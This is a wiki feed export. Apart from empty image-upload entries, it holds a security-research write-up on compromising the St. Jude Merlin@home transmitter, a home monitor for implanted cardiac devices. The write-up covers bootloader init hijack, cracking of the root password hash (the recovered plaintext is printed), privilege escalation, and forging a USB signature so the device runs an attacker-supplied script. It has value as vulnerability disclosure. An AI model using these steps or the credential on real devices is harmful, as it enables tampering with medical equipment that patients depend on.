		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Inspect_ook_gr-fosphor.png&amp;diff=2808</id>
		<title>File:Inspect ook gr-fosphor.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Inspect_ook_gr-fosphor.png&amp;diff=2808"/>
		<updated>2017-08-06T21:39:28Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Inspect_ook_grc.png&amp;diff=2807</id>
		<title>File:Inspect ook grc.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Inspect_ook_grc.png&amp;diff=2807"/>
		<updated>2017-08-06T21:39:04Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Shock_Collar.jpg&amp;diff=2806</id>
		<title>File:Shock Collar.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Shock_Collar.jpg&amp;diff=2806"/>
		<updated>2017-08-06T21:37:39Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:B4Z-RF400401_fccid.io.PNG&amp;diff=2805</id>
		<title>File:B4Z-RF400401 fccid.io.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:B4Z-RF400401_fccid.io.PNG&amp;diff=2805"/>
		<updated>2017-08-06T21:36:11Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2702</id>
		<title>SJM Merlin at Home</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2702"/>
		<updated>2017-05-15T01:48:56Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Merlin-at-home-1.jpg|100px|left|thumb]]&lt;br /&gt;
[[Category:Medical]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-front.jpg&lt;br /&gt;
File:Merlin-back.jpg&lt;br /&gt;
File:Merlin-side_usb.jpg&lt;br /&gt;
File:Merlin-antenna1.jpg&lt;br /&gt;
File:Merlin-antenna2.jpg&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Post device verification...&lt;br /&gt;
Serial2In string: ATi0&lt;br /&gt;
Serial2In string: &lt;br /&gt;
56000&lt;br /&gt;
Modem Post : Passed with retries = 0&lt;br /&gt;
&lt;br /&gt;
Time taken by POST : [1.197000] seconds&lt;br /&gt;
nand_init: manuf=0x000000EC  device=0x000000F1&lt;br /&gt;
scanning for bad blocks...&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x02B40000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x04B20000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x07660000&lt;br /&gt;
&lt;br /&gt;
Consider yourself BLOBed!&lt;br /&gt;
&lt;br /&gt;
blob version 2.0.5-pre2 for Tanto Basic Device&lt;br /&gt;
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw&lt;br /&gt;
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.&lt;br /&gt;
This is free software, and you are welcome to redistribute it&lt;br /&gt;
under certain conditions; read the GNU GPL for details.&lt;br /&gt;
blob release: d20081014_platform_4_16&lt;br /&gt;
Memory map:&lt;br /&gt;
  0x02000000 @ 0xc0000000 (32 MB)&lt;br /&gt;
&lt;br /&gt;
ram_post executing...&lt;br /&gt;
Data Bus Test&lt;br /&gt;
Address Bus Test&lt;br /&gt;
Data Qualifer Test&lt;br /&gt;
Device Test&lt;br /&gt;
c0200000status_next, board type = RF board revision =  (3)&lt;br /&gt;
c1e00000r14_svc = 0x0000034d&lt;br /&gt;
Autoboot in progress, press any key to stop ..&lt;br /&gt;
Autoboot aborted&lt;br /&gt;
Type &amp;quot;help&amp;quot; to get a list of commands&lt;br /&gt;
blob&amp;gt; boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We can pull some useful information from the device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# cat /etc/passwd&lt;br /&gt;
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:*:1:1:bin:/bin:&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:&lt;br /&gt;
sys:*:3:3:sys:/dev:&lt;br /&gt;
adm:*:4:4:adm:/var/adm:&lt;br /&gt;
lp:*:5:7:lp:/var/spool/lpd:&lt;br /&gt;
sync:*:6:8:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:8:10:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:*:9:11:mail:/var/spool/mail:&lt;br /&gt;
news:*:10:12:news:/var/spool/news:&lt;br /&gt;
uucp:*:11:13:uucp:/var/spool/uucp:&lt;br /&gt;
operator:*:12:0:operator:/root:&lt;br /&gt;
games:*:13:100:games:/usr/games:&lt;br /&gt;
ftp:*:15:14:ftp:/var/ftp:&lt;br /&gt;
man:*:16:100:man:/var/cache/man:&lt;br /&gt;
www:*:17:100:www:/var/www:&lt;br /&gt;
sshd:*:18:100:sshd:/var/run/sshd:&lt;br /&gt;
nobody:*:65534:65534:nobody:/home:/bin/sh&lt;br /&gt;
sh-2.05a# cat /etc/shadow&lt;br /&gt;
cat: /etc/shadow: No such file or directory&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets break this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;E:\hashcat-3.5.0&amp;gt;hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a&lt;br /&gt;
hashcat (v3.5.0) starting...&lt;br /&gt;
&lt;br /&gt;
* Device #1: WARNING! Kernel exec timeout is not disabled.&lt;br /&gt;
             This may cause &amp;quot;CL_OUT_OF_RESOURCES&amp;quot; or related errors.&lt;br /&gt;
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch&lt;br /&gt;
OpenCL Platform #1: NVIDIA Corporation&lt;br /&gt;
======================================&lt;br /&gt;
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU&lt;br /&gt;
&lt;br /&gt;
OpenCL Platform #2: Intel(R) Corporation&lt;br /&gt;
========================================&lt;br /&gt;
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.&lt;br /&gt;
&lt;br /&gt;
Hashes: 1 digests; 1 unique digests, 1 unique salts&lt;br /&gt;
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates&lt;br /&gt;
&lt;br /&gt;
Applicable optimizers:&lt;br /&gt;
* Zero-Byte&lt;br /&gt;
* Precompute-Final-Permutation&lt;br /&gt;
* Not-Iterated&lt;br /&gt;
* Single-Hash&lt;br /&gt;
* Single-Salt&lt;br /&gt;
* Brute-Force&lt;br /&gt;
&lt;br /&gt;
Watchdog: Temperature abort trigger set to 90c&lt;br /&gt;
Watchdog: Temperature retain trigger set to 75c&lt;br /&gt;
&lt;br /&gt;
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0q8h1Maw1oYAU:mah1200&lt;br /&gt;
&lt;br /&gt;
Session..........: sjm_hash&lt;br /&gt;
Status...........: Cracked&lt;br /&gt;
Hash.Type........: descrypt, DES (Unix), Traditional DES&lt;br /&gt;
Hash.Target......: 0q8h1Maw1oYAU&lt;br /&gt;
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)&lt;br /&gt;
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)&lt;br /&gt;
Guess.Mask.......: ?a?a?a?a?a?a?a [7]&lt;br /&gt;
Guess.Queue......: 1/1 (100.00%)&lt;br /&gt;
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)&lt;br /&gt;
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts&lt;br /&gt;
Progress.........: 4764729344/69833729609375 (0.01%)&lt;br /&gt;
Rejected.........: 0/4764729344 (0.00%)&lt;br /&gt;
Restore.Point....: 0/81450625 (0.00%)&lt;br /&gt;
Candidates.#1....: ;~9anan -&amp;gt; $sb~{ka&lt;br /&gt;
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16&lt;br /&gt;
&lt;br /&gt;
Started: Sun May 07 17:39:51 2017&lt;br /&gt;
Stopped: Sun May 07 17:40:05 2017&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attempts to login as root fail, what was going on with that operator user?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator:*:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets set the password to &amp;quot;test&amp;quot; and attempt logging in.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# grep &amp;quot;operator&amp;quot; /etc/passwd&lt;br /&gt;
operator:dPUvQFLH8...A:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[SJM_CONFIGURATION]&lt;br /&gt;
VERSION=EX2000 v6.1B PR_6.56&lt;br /&gt;
(none) login: root&lt;br /&gt;
Password: &lt;br /&gt;
Login incorrect&lt;br /&gt;
2017-05-14 &lt;br /&gt;
(none) login: operator&lt;br /&gt;
Password: &lt;br /&gt;
operator@(none):~$ whoami&lt;br /&gt;
operator&lt;br /&gt;
operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[266]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# whoami&lt;br /&gt;
root&lt;br /&gt;
root@(none):~# &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Taking Things Further ==&lt;br /&gt;
&lt;br /&gt;
Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke &lt;br /&gt;
#  this script only if the attached USB device is a mass-storage device.&lt;br /&gt;
#  hotplug does this by looking at the device class of the attached usb device&lt;br /&gt;
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices&lt;br /&gt;
#  is  ______&lt;br /&gt;
# &lt;br /&gt;
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to&lt;br /&gt;
#  find the scsi ID of the attached USB storage device. It then goes on to&lt;br /&gt;
#  find the device node corresponding to this scsi ID.&lt;br /&gt;
#  &lt;br /&gt;
# version 1.1 - Added USB signature check functionality &lt;br /&gt;
#&lt;br /&gt;
# For the new cellular adapters - viz mobidata and velocity, ignore the&lt;br /&gt;
# mass storage interface reported. Please see comments at the top of&lt;br /&gt;
# /etc/hotplug/usb/velocity for details.&lt;br /&gt;
#&lt;br /&gt;
#   - Ashok Iyer (16-Jun-2010)&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
export PATH=/usr/bin:/usr/local/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
MOUNT_PATH=&amp;quot;/mnt/sjmpendrives&amp;quot;&lt;br /&gt;
MOUNT_NUMBER=1&lt;br /&gt;
LOG_FILE=&amp;quot;/tmp/usbstorage.log&amp;quot;&lt;br /&gt;
SGMAP=&amp;quot;sg_map&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The functions in this script rely on &amp;quot;echo&amp;quot; to pass information to each&lt;br /&gt;
# other. If you need to modify this script, do not use &amp;quot;echo&amp;quot; for debugging.&lt;br /&gt;
# Instead use the feedback()/error_exit() functions below. These will log &lt;br /&gt;
# information to a log file and do not interfere with information passing &lt;br /&gt;
# between functions.&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
function check_sign {&lt;br /&gt;
    local node1=$1&amp;quot;1&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Checking signature ... &amp;quot;&lt;br /&gt;
    feedback &amp;quot;node1 = $node1&amp;quot;&lt;br /&gt;
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
    signature=`cat /tmp/.sign` &lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;$signature&amp;quot; = &amp;quot;SJM&amp;quot; ]; then&lt;br /&gt;
	feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	echo 0&lt;br /&gt;
    else&lt;br /&gt;
	feedback &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
	echo -1&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
# We only mount the first partition of a USB storage device. There is no &lt;br /&gt;
# requirement to mount multiple partitions. Makes the job easy :-)&lt;br /&gt;
function mount_scsi_dev {&lt;br /&gt;
    local scsi_dev=$1&lt;br /&gt;
    local mountpt=&amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
    # check if the first partition of the device is mounted &lt;br /&gt;
    if ! mount | egrep -q &amp;quot;^$scsi_dev&amp;quot;1&amp;quot;[[:space:]]&amp;quot; &lt;br /&gt;
    then&lt;br /&gt;
        mountpt=$(find_unused_mountpt) || error_exit &amp;quot;Failed to find a mount pt&amp;quot;&lt;br /&gt;
        mkdir -p &amp;quot;$mountpt&amp;quot; || error_exit &amp;quot;Failed to create mount pt $mountpt&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	# FIXME- Ugly hack to detect partitions on USB flash drive&lt;br /&gt;
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline&lt;br /&gt;
        # or fix devfs once and for all.&lt;br /&gt;
        # There is another problem in devfs that after the USB flash disk is removed&lt;br /&gt;
        # the corresponding devfs partitions (part1, part2 etc...) still show up. &lt;br /&gt;
	foobar=`ls -l $scsi_dev | awk &#039;{print $11}&#039;`&lt;br /&gt;
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 &lt;br /&gt;
	&lt;br /&gt;
	# Checking USB signature&lt;br /&gt;
	ret=`check_sign $scsi_dev`	&lt;br /&gt;
	if [ $ret -eq 0 ]; then&lt;br /&gt;
		feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	else&lt;br /&gt;
		# Tanto: Inform the Exec App to show &lt;br /&gt;
		# an Invalid Media Error&lt;br /&gt;
		if [ -p /tmp/remoteInt.pipe ]; then&lt;br /&gt;
			echo &amp;quot;UsbHotplug InvalidMedia&amp;quot; &amp;gt; /tmp/remoteInt.pipe&lt;br /&gt;
			error_exit &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
		else&lt;br /&gt;
			echo &amp;quot;ERROR: /tmp/remoteInt.pipe does not exist!!!&amp;quot;&lt;br /&gt;
		fi&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
        feedback &amp;quot;Mounting $scsi_dev&amp;quot;1&amp;quot; on $mountpt&amp;quot;&lt;br /&gt;
        mount -t auto $scsi_dev&amp;quot;1&amp;quot; $mountpt&lt;br /&gt;
        if [ &amp;quot;$?&amp;quot; -eq 0 ]; then&lt;br /&gt;
            feedback &amp;quot;$scsi_dev&amp;quot;1&amp;quot; is now mounted on $mountpt&amp;quot;&lt;br /&gt;
	    feedback &amp;quot;Launch application specific script&amp;quot;	&lt;br /&gt;
	    sh /etc/launch_appln.sh $mountpt&lt;br /&gt;
        else&lt;br /&gt;
            feedback &amp;quot;Mount error for $scsi_dev&amp;quot;&lt;br /&gt;
        fi&lt;br /&gt;
    else&lt;br /&gt;
        feedback &amp;quot;Ignoring $scsi_dev - already mounted&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
  &lt;br /&gt;
# Find and mount all attached USB storage devices&lt;br /&gt;
function mount_all_attached {&lt;br /&gt;
    local scsiuniqid=&amp;quot;&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Find and mount all attached usb storage devices&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    for scsiuniqid in $(allusb_scsiuniqid)&lt;br /&gt;
    do&lt;br /&gt;
        local scsidev=&amp;quot;`diskdev_from_uniqid $scsiuniqid`&amp;quot;&lt;br /&gt;
        if [ &amp;quot;$scsidev&amp;quot; == &amp;quot;UNKNOWN&amp;quot; ]; then&lt;br /&gt;
            sleep 1&lt;br /&gt;
        fi&lt;br /&gt;
        mount_scsi_dev $scsidev&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The remover script will be invoked when the device is removed. This is&lt;br /&gt;
# useless in a way because umount will have no effect. The only benefit is&lt;br /&gt;
# that the &amp;quot;mount&amp;quot; command will not show stale entries.&lt;br /&gt;
&lt;br /&gt;
# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive &lt;br /&gt;
# which is removed ( unlike umounting all attached USB flash drives )&lt;br /&gt;
feedback &amp;quot;REM = $REMOVER&amp;quot;&lt;br /&gt;
if [ -f $REMOVER ]; then&lt;br /&gt;
    echo &#039;/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
else&lt;br /&gt;
    echo -e &#039;#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt; $REMOVER&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# Inform the Export data script when pendrive is unplugged.&lt;br /&gt;
echo -e &#039;\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo &amp;quot;Hotplug umount&amp;quot; &amp;gt; /tmp/usbDataExport.pipe \n\tfi\nfi&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
chmod a+x $REMOVER&lt;br /&gt;
&lt;br /&gt;
mount_all_attached&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets look inside of /etc/launch_appln.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./launch_appln.sh /mnt/pendrive&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# FIXME  &lt;br /&gt;
# This script may be invoked by hotplug &lt;br /&gt;
# Do not run the script if it is already running &lt;br /&gt;
# updater or data export&lt;br /&gt;
&lt;br /&gt;
mountpt=$1&lt;br /&gt;
script_path=/apps/tanto/&lt;br /&gt;
&lt;br /&gt;
if [ -f $mountpt/version.ini ]; then&lt;br /&gt;
	# call updater script&lt;br /&gt;
	echo &amp;quot;Launching updater script&amp;quot;&lt;br /&gt;
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then&lt;br /&gt;
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt &amp;gt; /tmp/debugUpdater.txt 2&amp;gt;&amp;amp;1&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
	else&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
		exit 0&lt;br /&gt;
	fi&lt;br /&gt;
else&lt;br /&gt;
	# Call Data export script&lt;br /&gt;
	echo &amp;quot;Launching export data script&amp;quot;&lt;br /&gt;
	sh $script_path/export_data.sh $mountpt&lt;br /&gt;
    umount /mnt/sjmpendrives/1&lt;br /&gt;
    umount /mnt/pendrive&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  00 00 00                                          |...|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd .sign_mod&lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Adding the required files to the drive and a small script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;br /&gt;
.:&lt;br /&gt;
total 36K&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .&lt;br /&gt;
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini&lt;br /&gt;
&lt;br /&gt;
./etc:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d&lt;br /&gt;
&lt;br /&gt;
./etc/init.d:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..&lt;br /&gt;
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;br /&gt;
&lt;br /&gt;
rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
function led_off {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b0&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_dim {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b1&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_bright {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b2&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function party_mode {&lt;br /&gt;
    counter=0&lt;br /&gt;
    while [ $counter -lt $1 ];&lt;br /&gt;
    do&lt;br /&gt;
        led_off&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_dim&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_bright&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        let counter=counter+1&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
#cp /mnt/sjmpendrives/1/passwd /etc/passwd&lt;br /&gt;
echo &amp;quot;This worked!&amp;quot; &amp;gt; /root/diditwork.txt&lt;br /&gt;
if [ -f /root/diditwork.txt ];&lt;br /&gt;
then&lt;br /&gt;
    party_mode 15&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;It did not work...&amp;quot;&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is the output that we get from the console.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[265]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2&lt;br /&gt;
scsi0 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100&lt;br /&gt;
  Type:   Direct-Access                      ANSI SCSI revision: 02&lt;br /&gt;
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0&lt;br /&gt;
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)&lt;br /&gt;
sda: Write Protect is off&lt;br /&gt;
Partition check:&lt;br /&gt;
 /dev/scsi/host0/bus0/target0/lun0: p1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg2&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg3&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg4&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg5&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdb&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdc&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdd&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sde&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdf&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_cp437&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
ls /root&lt;br /&gt;
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh&lt;br /&gt;
root@(none):~# cat /root/diditwork.txt &lt;br /&gt;
This worked!&lt;br /&gt;
root@(none):~# cat /tmp/usbstorage.log &lt;br /&gt;
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002&lt;br /&gt;
REM = /var/run/usb/%proc%bus%usb%001%002&lt;br /&gt;
Find and mount all attached usb storage devices&lt;br /&gt;
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)&lt;br /&gt;
Use sgmap to match 0:0:0:0.&lt;br /&gt;
Waiting for device id to appear...&lt;br /&gt;
